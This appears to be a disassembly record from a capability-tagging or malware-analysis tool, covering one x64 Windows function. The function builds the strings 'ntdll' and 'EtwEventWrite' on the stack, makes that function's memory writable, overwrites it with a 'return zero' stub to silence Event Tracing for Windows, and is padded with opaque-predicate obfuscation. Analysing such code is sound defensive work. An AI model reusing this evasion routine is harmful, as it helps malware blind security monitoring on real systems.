Function at 0x14000ba48
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x128
mov rax, qword [0x140023b80]
xor rax, rsp
mov qword [rsp + 0x110], rax
mov dword [rsp + 0xf4], 0
mov byte [rsp + 0x100], 0x45
mov byte [rsp + 0x101], 0x74
mov byte [rsp + 0x102], 0x77
mov byte [rsp + 0x103], 0x45
mov byte [rsp + 0x104], 0x76
mov byte [rsp + 0x105], 0x65
mov byte [rsp + 0x106], 0x6e
mov byte [rsp + 0x107], 0x74
mov byte [rsp + 0x108], 0x57
mov byte [rsp + 0x109], 0x72
mov byte [rsp + 0x10a], 0x69
mov byte [rsp + 0x10b], 0x74
mov byte [rsp + 0x10c], 0x65
mov byte [rsp + 0x10d], 0
mov byte [rsp + 0xf8], 0x6e
mov byte [rsp + 0xf9], 0x74
mov byte [rsp + 0xfa], 0x64
mov byte [rsp + 0xfb], 0x6c
mov byte [rsp + 0xfc], 0x6c
mov byte [rsp + 0xfd], 0
mov byte [rsp + 0xf0], 0x48
mov byte [rsp + 0xf1], 0x33
mov byte [rsp + 0xf2], 0xc0
mov byte [rsp + 0xf3], 0xc3
lea rcx, [rsp + 0xf8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rsp + 0x100]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], rax
mov al, byte [0x140023b6c]
movsx eax, al
mov dword [rsp + 0x50], eax
call fcn.140013ee8
movsx eax, al
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c], eax
call fcn.140013edc
movsx eax, al
shl eax, 3
mov dword [rsp + 0x54], eax
call fcn.140013ed8
movsx eax, al
mov ecx, dword [rsp + 0x54]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x4c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x140023b6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x140023b68]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14000bd30
cmp qword [rsp + 0x40], 0
jne 0x14000bbcf
mov qword [rsp + 0xd8], 1
jmp 0x14000bbdb
mov qword [rsp + 0xd8], 0
cvtsi2sd xmm0, qword [rsp + 0xd8]
call fcn.1400165a0
mov dword [rsp + 0x64], eax
mov cl, byte [0x140023b6c]
movsx ecx, cl
mov dword [rsp + 0x58], ecx
call fcn.140013ee8
movsx eax, al
mov ecx, dword [rsp + 0x58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
call fcn.140013edc
movsx eax, al
imul eax, eax, 3
mov dword [rsp + 0x5c], eax
call fcn.140013ed8
movsx eax, al
mov ecx, dword [rsp + 0x5c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov eax, ecx
mov cl, byte [0x140023b6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x140023b68]
movsx ecx, cl
sub eax, ecx
mov ecx, dword [rsp + 0x64]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x14000bd30
xor eax, eax
cmp eax, 4
je 0x14000bd30
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_get_EtwEventWrite_Addr___u__n
call fcn.1400192e4
nop
mov dword [rsp + 0x24], 0
jmp 0x14000bc94
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
mov al, byte [0x140023b6c]
movsx eax, al
mov dword [rsp + 0x68], eax
call fcn.140013ee8
movsx eax, al
mov ecx, dword [rsp + 0x68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x70], eax
call fcn.140013edc
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x6c], eax
call fcn.140013ed8
movsx eax, al
mov ecx, dword [rsp + 0x6c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x70]
add ecx, eax
mov eax, ecx
mov cl, byte [0x140023b6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x140023b68]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
call fcn.1400165a0
cmp dword [rsp + 0x24], eax
jge 0x14000bd30
mov dword [rsp + 0x28], 0
jmp 0x14000bd1b
cmp dword [rsp + 0x28], 0x59
jae 0x14000bd2b
xor eax, eax
jmp 0x14000c276
jmp 0x14000bc8a
lea r9, [rsp + 0xf4]
mov r8d, 0x40
mov edx, 0x1000
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x80], eax
mov al, byte [0x140023b6c]
movsx eax, al
mov dword [rsp + 0x74], eax
call fcn.140013ee8
movsx eax, al
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c], eax
call fcn.140013edc
movsx eax, al
imul eax, eax, 5
mov dword [rsp + 0x78], eax
call fcn.140013ed8
movsx eax, al
mov ecx, dword [rsp + 0x78]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x7c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x140023b6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x140023b68]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14000bf5e
cmp dword [rsp + 0x80], 0
jne 0x14000bdd6
mov qword [rsp + 0xe0], 1
jmp 0x14000bde2
mov qword [rsp + 0xe0], 0
cvtsi2sd xmm0, qword [rsp + 0xe0]
call fcn.1400165a0
mov dword [rsp + 0x90], eax
mov cl, byte [0x140023b6c]
movsx ecx, cl
mov dword [rsp + 0x84], ecx
call fcn.140013ee8
movsx eax, al
mov ecx, dword [rsp + 0x84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c], eax
call fcn.140013edc
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x88], eax
call fcn.140013ed8
movsx eax, al
mov ecx, dword [rsp + 0x88]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x8c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x140023b6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x140023b68]
movsx ecx, cl
sub eax, ecx
mov ecx, dword [rsp + 0x90]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x14000bf5e
xor eax, eax
cmp eax, 1
je 0x14000bf5e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_changing_protection___u__n
call fcn.1400192e4
nop
mov dword [rsp + 0x2c], 0
jmp 0x14000beb3
mov eax, dword [rsp + 0x2c]
inc eax
mov dword [rsp + 0x2c], eax
mov al, byte [0x140023b6c]
movsx eax, al
mov dword [rsp + 0x94], eax
call fcn.140013ee8
movsx eax, al
mov ecx, dword [rsp + 0x94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c], eax
call fcn.140013edc
movsx eax, al
mov dword [rsp + 0x98], eax
call fcn.140013ed8
movsx eax, al
mov ecx, dword [rsp + 0x98]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x9c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x140023b6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x140023b68]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
call fcn.1400165a0
cmp dword [rsp + 0x2c], eax
jge 0x14000bf5e
mov dword [rsp + 0x30], 0
jmp 0x14000bf49
cmp dword [rsp + 0x30], 6
jae 0x14000bf59
xor eax, eax
jmp 0x14000c276
jmp 0x14000bea9
mov r8d, 4
lea rdx, [rsp + 0xf0]
mov rcx, qword [rsp + 0x40]
call sub.ucrtbase.dll_memcpy
lea r9, [rsp + 0xf4]
mov r8d, dword [rsp + 0xf4]
mov edx, 0x1000
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0xac], eax
mov al, byte [0x140023b6c]
movsx eax, al
mov dword [rsp + 0xa0], eax
call fcn.140013ee8
movsx eax, al
mov ecx, dword [rsp + 0xa0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8], eax
call fcn.140013edc
movsx eax, al
shl eax, 1
mov dword [rsp + 0xa4], eax
call fcn.140013ed8
movsx eax, al
mov ecx, dword [rsp + 0xa4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xa8]
add ecx, eax
mov eax, ecx
mov cl, byte [0x140023b6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x140023b68]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14000c1ba
cmp dword [rsp + 0xac], 0
jne 0x14000c02f
mov qword [rsp + 0xe8], 1
jmp 0x14000c03b
mov qword [rsp + 0xe8], 0
cvtsi2sd xmm0, qword [rsp + 0xe8]
call fcn.1400165a0
mov dword [rsp + 0xbc], eax
mov cl, byte [0x140023b6c]
movsx ecx, cl
mov dword [rsp + 0xb0], ecx
call fcn.140013ee8
movsx eax, al
mov ecx, dword [rsp + 0xb0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb8], eax
call fcn.140013edc
movsx eax, al
imul eax, eax, 7
mov dword [rsp + 0xb4], eax
call fcn.140013ed8
movsx eax, al
mov ecx, dword [rsp + 0xb4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xb8]
add ecx, eax
mov eax, ecx
mov cl, byte [0x140023b6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x140023b68]
movsx ecx, cl
sub eax, ecx
mov ecx, dword [rsp + 0xbc]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x14000c1ba
xor eax, eax
cmp eax, 8
je 0x14000c1ba
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_changing_protection_back___u__n
call fcn.1400192e4
nop
mov dword [rsp + 0x20], 0
jmp 0x14000c10c
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov al, byte [0x140023b6c]
movsx eax, al
mov dword [rsp + 0xc0], eax
call fcn.140013ee8
movsx eax, al
mov ecx, dword [rsp + 0xc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xc8], eax
call fcn.140013edc
movsx eax, al
shl eax, 3
mov dword [rsp + 0xc4], eax
call fcn.140013ed8
movsx eax, al
mov ecx, dword [rsp + 0xc4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xc8]
add ecx, eax
mov eax, ecx
mov cl, byte [0x140023b6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x140023b68]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
call fcn.1400165a0
cmp dword [rsp + 0x20], eax
jge 0x14000c1ba
mov dword [rsp + 0x38], 0
jmp 0x14000c1a5
cmp dword [rsp + 0x38], 0x17
jae 0x14000c1b5
xor eax, eax
jmp 0x14000c276
jmp 0x14000c102
mov dword [rsp + 0x3c], 0
jmp 0x14000c1ce
mov eax, dword [rsp + 0x3c]
inc eax
mov dword [rsp + 0x3c], eax
mov al, byte [0x140023b6c]
movsx eax, al
mov dword [rsp + 0xcc], eax
call fcn.140013ee8
movsx eax, al
mov ecx, dword [rsp + 0xcc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x48], eax
call fcn.140013edc
movsx eax, al
shl eax, 2
mov dword [rsp + 0xd0], eax
call fcn.140013ed8
movsx eax, al
mov ecx, dword [rsp + 0xd0]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x48]
add ecx, eax
mov eax, ecx
mov cl, byte [0x140023b6b]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x140023b68]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
call fcn.1400165a0
cmp dword [rsp + 0x3c], eax
jge 0x14000c276
mov dword [rsp + 0x34], 0
jmp 0x14000c261
cmp dword [rsp + 0x34], 0x31
jae 0x14000c271
mov eax, 1
jmp 0x14000c276
jmp 0x14000c1c4
mov rcx, qword [rsp + 0x110]
xor rcx, rsp
call fcn.140019bb0
add rsp, 0x128
ret